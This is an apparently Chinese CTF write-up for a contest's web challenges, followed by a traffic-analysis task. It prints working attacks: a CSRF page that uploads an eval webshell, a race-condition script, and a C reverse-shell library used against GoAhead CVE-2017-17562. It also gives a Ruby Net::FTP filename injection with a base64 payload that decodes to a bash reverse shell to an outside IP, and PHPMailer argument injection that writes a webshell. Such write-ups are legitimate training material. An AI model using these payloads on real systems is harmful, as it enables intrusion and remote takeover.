安恒杯一月赛部分题目writeup
首先感谢下安恒举办的比赛,还有大神们的讲解,学习了
再来个友情链接

发现.git泄漏,拿到源码
发现上传文件,代码审计

if(!isset($_SESSION['user']) || $_SESSION['user'] != USERNAME){
	die('Access Denied');
}
...
...
$ext = getExt($_FILES['file']['name']);
	$filename = './upload/temp/'.$flid.$ext;
	$dst = './upload/images/'.$flid.'.jpg';
	move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
	if(file_exists($filename)){
		try {
			if(file_exists($dst))
				@unlink($dst);
			resizeimg($filename, $dst, 100, 50);
		}catch(Exception $e){
			echo 'Caught exception: ',  $e->getMessage(), "\n";
		}
	}
发现upload.php里面的条件竞争漏洞,先上传文件再删除文件。但是程序开头会检查权限,需要登录后才能操作。因此解题思路为结合CSRF+条件竞争。
因为程序添加友情链接时候会先去访问这个文件

所以我们可以写个自动上传文件的js,利用csrf去上传绕过user判断,然后利用时间差,在还没删除temp文件时快速去访问/temp上传成功的php,并自动创建一个一句话shell
poc:
<html>
    <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://http://192.168.5.76/upload.php?"+Math.random(), true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en,zh-CN;q=0.9,zh;q=0.8");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryfJEbEkHoV22zBdaM");
        xhr.withCredentials = "true";
        var body = "------WebKitFormBoundaryfJEbEkHoV22zBdaM\r\n" +
          "Content-Disposition: form-data; name=\"file\"; filename=\"321.php\"\r\n" +
          "Content-Type: application/x-php\r\n" +
          "\r\n" +
          "<?php file_put_contents('abc.php', '<?php eval($_GET[a]);?>');?>\r\n" +
          "\r\n" +
          "------WebKitFormBoundaryfJEbEkHoV22zBdaM\r\n" +
          "Content-Disposition: form-data; name=\"flid\"\r\n" +
          "\r\n" +
          "1\r\n" +
          "------WebKitFormBoundaryfJEbEkHoV22zBdaM\r\n" +
          "Content-Disposition: form-data; name=\"submit\"\r\n" +
          "\r\n" +
          "上传\r\n" +
          "------WebKitFormBoundaryfJEbEkHoV22zBdaM--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
      submitRequest();
    </script>
<script>
	var html = '';
	for(var k=0; k<1000; k++){
		html = html + '<script>submitRequest();<\/script>';
	}
	document.write(html);
</script>
  </body>
</html>

多线程访问,或者用burp也行
#!/usr/bin/env python2 # coding: utf-8 import requests import thread import sys url = 'http://192.168.5.76/upload/temp/321.php' threads = 2 locks = [] done = False def get(url): try: r = requests.get(url, timeout=1) except: r = False if r: return r.status_code else: return 500 def job(t, url, lock): while (not done): c = get(url) if c == 200: print '200' lock.release() def main(): for i in xrange(threads): try: lock = thread.allocate_lock() lock.acquire() locks.append(lock) thread.start_new_thread(job, (i, url, lock)) except: print 'Fail to start new thread' for lock in locks: while lock.locked(): pass; print 'Done' main()
比较坑的是复现时候太艰难了…
上一张官方提供的最后成功图

GOGOGO
扫描端口发现8080 响应头为GoAhead 找到一个RCE(CVE-2017-17562 )
poc:
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "172.17.0.1"
#define REMOTE_PORT 4444
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
    struct sockaddr_in sa;
    int s;
    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);
    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);
    execve("/bin/sh", 0, 0);
    write(1, "Hello: World!\n", 14);
}
$ gcc -shared -fPIC ./poc.c -o poc.so
$ nc -lvp 4444
漏洞利用
$ curl -X POST --data-binary @poc.so http://xxx:8080/cgi-bin/hello.cgi? LD_PRELOAD=/proc/self/fd/0 -i
拿到shell获取flag
与时俱进2
打开目标站点,通过错误连接信息 NET::FTP error 判断是ruby 联想到NET::FTP的rce
https://www.exploit-db.com/exploits/43381/
def gettextfile(remotefile, localfile = File.basename(remotefile),
                &block) # :yield: line
  f = nil
  result = nil
  if localfile
    f = open(localfile, "w") # Vulnerable code here. open("| os command","w")
  elsif !block_given?
    result = String.new
  end
The `localfile` value will trigger command execution if the value is `| os command`. In general use, most users would likely provide their own localfile value and would not rely on the default of `File.basename(remotefile)`; however, in some situations, such as listing and downloading all files in a FTP share, the remotefile value would be controlled by the remote host and could thus be manipulated into causing RCE. Since the file path is simply a string returned by the server (either `ls -l` style for the `LIST` command, or filenames for `NLIST`), there is no need/guarantee that filename will be a valid filename.
可以看到ruby在获取文件名时直接传入open会导致命令注入
搭建一个ftp
#!/usr/bin/env python2
# coding: utf-8
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
#实例化虚拟用户,这是FTP验证首要条件
authorizer = DummyAuthorizer()
#添加用户权限和路径,括号内的参数是(用户名, 密码, 用户目录, 权限)
authorizer.add_user('ftp', 'ftp', '/tmp/ftp', perm='elradfmw')
#初始化ftp句柄
handler = FTPHandler
handler.authorizer = authorizer
#添加被动端口范围
handler.passive_ports = range(2000, 2333)
#监听ip 和 端口
server = FTPServer(('0.0.0.0', 21), handler)
#开始服务
server.serve_forever()
之后可以去访问ftp反弹shell
可以先测试一下是否可以成功运行命令

ok
又因为文件名不能有/ 空格之类,所以一个套路就是我们可以搭建一个站,用curl访问获得反弹shell
类似下面的效果

然后监听
nc -lvp 2333
反弹成功

比赛的环境是没有curl的,所以另一种方法是利用base64绕过
touch |echo${IFS}YmFzaCAtaSA+JiAgL2Rldi90Y3AvMTkzLjExMi4xMy4xMzEvMzAwMCAwPiYx|base64${IFS}-d|bash

经典留言板


题目看后首先尝试xss无果,发现存在源码泄漏

下载源码开始审计
主要发现问题出在mail函数 可以参考PHPMailer 命令执行漏洞(CVE-2016-10033)
这里$options参数可控可以造成命令执行

其中option为email传值,而且只简单判断了一下email是否存在@

当我们email=xxx@xxx.com 时后端处理为
$email = '-fxxx@xxx.com‘
看一下帮助手册 寻找利用参数
-x可以存入日志文件,其内容即为我们信件内容,这相当于我们可以直接往服务器写入文件
 
 
需要注意的是,利用这个参数我们是无法控制目录的,因为没有root权限,所以这里需要利用queueDirectory
构造如下请求,写入一句话shell

后端处理email为
$email = '-ftest@123.com -OqueueDirectory=/ -Xa.php'
查看一下是否成功

执行shell
 
 
菜刀666
签到题,思路应该是比较清晰,不过要做出来也得多走几步,自己中间也傻了一下…
首先是个流量分析,具体也不多说了

首先可以看到是base64加密的,我们解密后看大致做过的操作


基本是写入,或者查看目录之类的,看回显也可以知道
找到关键操作

写入了一个文件,z2参数内容是文件加密后的样子
我们根据源码还原一下

大致改动一下 因为输出是JFIF 所以我们直接保存为jpg

打开图片

本来以为结束了,结果提交flag不对
接着往下看

又写入了一个文件hello.zip,我们用hex保存并去掉没用的头和尾

可以看到flag在压缩包里面

然后解压,用上面得到的pwd输入密码


